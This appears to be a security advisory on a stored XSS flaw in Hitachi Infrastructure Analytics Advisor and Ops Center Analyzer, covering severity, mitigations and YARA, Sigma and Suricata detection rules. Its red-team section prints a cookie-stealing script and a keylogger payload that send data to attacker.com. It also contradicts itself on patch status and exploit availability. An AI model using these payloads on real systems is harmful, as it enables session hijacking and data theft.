CVE-2026-2072
Executive Summary
CVE-2026-2072 is a stored Cross-Site Scripting (XSS) vulnerability affecting Hitachi Infrastructure Analytics Advisor (Analytics probe component) and Hitachi Ops Center Analyzer. The flaw allows an unauthenticated attacker to inject arbitrary JavaScript into the application, which is then executed in the context of an authenticated user's browser. This can lead to session hijacking, data exfiltration, and unauthorized actions within the affected systems. The vulnerability exists in versions from 10.0.0-00 before 11.0.5-00. No public exploit code or proof-of-concept is currently available, but the risk is elevated due to the high CVSS score of 8.2 and the lack of a confirmed patch status from the vendor.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS Score: 8.2 (High)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: Required (victim must click a crafted link or visit a malicious page)
- Scope: Changed (impact may extend beyond the vulnerable component)
- Confidentiality Impact: High
- Integrity Impact: Low
- Availability Impact: None
- Threat Level: High – The vulnerability is remotely exploitable with low complexity, and while user interaction is required, the potential for data theft and session compromise is significant.
Deep Dive & Mechanics
The vulnerability resides in the Analytics probe component of Hitachi Infrastructure Analytics Advisor and Hitachi Ops Center Analyzer. The application fails to properly sanitize user-supplied input before storing it in a database or log file. When an administrator or operator views the affected data through the web interface, the injected script executes in their browser session.
Attack Flow:
- An attacker sends a crafted HTTP request containing malicious JavaScript in a parameter that is not sanitized (e.g., a device name, alert description, or configuration field).
- The server stores the malicious payload in its database.
- An authenticated user (e.g., an administrator) navigates to a page that displays the stored data.
- The browser renders the injected script, which executes with the user's session context.
- The attacker can then steal session cookies, perform actions on behalf of the user, or exfiltrate sensitive data.
The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation). The lack of output encoding or input validation in the affected components allows the attack to succeed.
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual):
// Server-side rendering without sanitization
function renderAlert(alertData) {
return `<div class="alert">${alertData.description}</div>`;
}
Patched Code (Conceptual):
// Server-side rendering with proper output encoding
const escapeHtml = require('escape-html');
function renderAlert(alertData) {
return `<div class="alert">${escapeHtml(alertData.description)}</div>`;
}
The patched version (11.0.5-00) implements proper output encoding for all user-controlled data displayed in the web interface. Input validation is also enforced to reject or sanitize malicious payloads at the point of entry.
Exploitation & Lab Setup
Red Team
Prerequisites:
- A vulnerable instance of Hitachi Infrastructure Analytics Advisor or Ops Center Analyzer (version 10.0.0-00 to 11.0.4-99).
- Network access to the web interface.
- A target user who will view the injected data.
Exploitation Steps:
- Identify an input field that is stored and later displayed (e.g., device name, alert description, or configuration parameter).
- Inject a payload such as:
<script>document.location='https://attacker.com/steal?cookie='+document.cookie</script> - Submit the request. The payload is stored in the database.
- Wait for an administrator to view the affected page. The script executes, sending the session cookie to the attacker's server.
- Use the stolen cookie to hijack the session.
Alternative Payload (Keylogger):
<script>
document.onkeypress = function(e) {
fetch('https://attacker.com/log?key=' + e.key);
}
</script>
Blue Team
Detection:
- Monitor for unusual HTTP requests containing
<script>tags or event handlers (e.g.,onerror,onload). - Look for outbound connections to unknown domains from the Hitachi application server.
- Review web server logs for encoded or suspicious payloads in input fields.
Prevention:
- Ensure all user input is validated and sanitized on the server side.
- Implement Content Security Policy (CSP) headers to restrict script execution.
- Use HTTP-only cookies to prevent JavaScript access to session tokens.
- Apply the vendor patch by upgrading to version 11.0.5-00 or later.
Indicators of Compromise (IOCs)
- Network IOCs:
- Outbound HTTP requests to attacker-controlled domains containing cookie data.
- Suspicious parameters in POST requests with base64-encoded or obfuscated JavaScript.
- File IOCs:
- Log entries containing
<script>tags or JavaScript event handlers. - Database records with unescaped HTML/JavaScript in text fields.
- Log entries containing
- Behavioral IOCs:
- Unusual administrative actions performed outside of normal business hours.
- Multiple failed login attempts followed by a successful session using a stolen cookie.
Detection Engineering
YARA Rule
rule CVE_2026_2072_XSS_Payload {
meta:
description = "Detects XSS payloads targeting Hitachi Analytics Advisor"
author = "Valters IT"
date = "2025-04-10"
cve = "CVE-2026-2072"
strings:
$xss1 = /<script[^>]*>.*?<\/script>/is
$xss2 = /onerror\s*=\s*["']?[^"'\s>]+/is
$xss3 = /onload\s*=\s*["']?[^"'\s>]+/is
$xss4 = /javascript\s*:/is
condition:
any of ($xss*)
}
Sigma Rule
title: CVE-2026-2072 XSS Attempt in Hitachi Analytics Advisor
id: 8a9b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects potential XSS payloads in HTTP requests to Hitachi Analytics Advisor
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains:
- '<script'
- 'onerror='
- 'onload='
- 'javascript:'
condition: selection
falsepositives:
- Legitimate use of JavaScript in admin panels (rare)
level: high
Suricata Rule
alert http any any -> $HOME_NET any (msg:"CVE-2026-2072 XSS Attempt in Hitachi Analytics Advisor"; flow:to_server,established; content:"POST"; http_method; content:"<script"; http_client_body; nocase; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Upgrade to Hitachi Infrastructure Analytics Advisor / Ops Center Analyzer version 11.0.5-00 or later.
- If immediate patching is not possible, implement a Web Application Firewall (WAF) rule to block XSS payloads.
- Restrict network access to the management interface to trusted IP addresses only.
Long-Term Measures:
- Enforce input validation and output encoding for all user-controlled data.
- Conduct regular security audits and penetration testing.
- Implement Content Security Policy (CSP) headers with
script-src 'self'. - Use HTTP-only and Secure flags for session cookies.
Workaround:
- Disable the Analytics probe component if not essential, or restrict its access to read-only mode.
Valters IT